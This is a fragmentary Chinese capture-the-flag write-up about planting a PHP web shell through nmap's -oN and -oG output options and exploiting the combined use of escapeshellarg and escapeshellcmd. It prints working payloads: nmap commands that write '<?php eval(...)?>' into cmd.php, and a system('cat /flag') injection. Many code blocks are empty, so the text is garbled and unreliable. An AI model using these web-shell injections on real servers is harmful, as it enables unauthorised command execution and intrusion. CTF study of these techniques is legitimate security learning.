通过nmap -oN -oG 参数 写马
| 1 | if (isset($_POST['host'])): | 
拿到flag
payload
过滤了php 关键字
| 1 | 第一种 | 
| 1 | ?a=system("cat /flag"); | 
两个知识点
Nmap 通过 -oG -oN 参数写 shell
| 1 | > nmap 127.0.0.1 -p 0-1 "<?php eval($_GET['cmd']);?>" -oN cmd.php | 
生成的文件会将 "<?php eval($_GET['cmd']);?>" 和 扫描的结果 一起写入cmd.php文件中 ,
| 1 | nmap 127.0.0.1 -p 0-1 "<?php eval($_POST['cmd']);?>" -oG cmd.php | 
| 1 | nmap 127.0.0.1 -p 0-1 "<?php eval($_POST['cmd']);?>" -oG cmd.php | 
顺便说一下,nmap的其他参数 ,比如-oX,也会创建文件,但是符合会被替换成html字符,想这样 <?php eval($_POST['cmd']);?>,也就是说只有两种参数能用。
sescapeshellarg和escapeshellcmd 同时使用照成的问题
| 1 | 
 | 
直接将 ' 转义成了 '\''  
| 1 | 
 | 
将 ' 转义成了 \' 
最后将两个函数同时使用
| 1 | 
 | 
这里的问题就很明显了,两个函数同时使用,会照成某些字符串逃逸。
| 1 | 
 |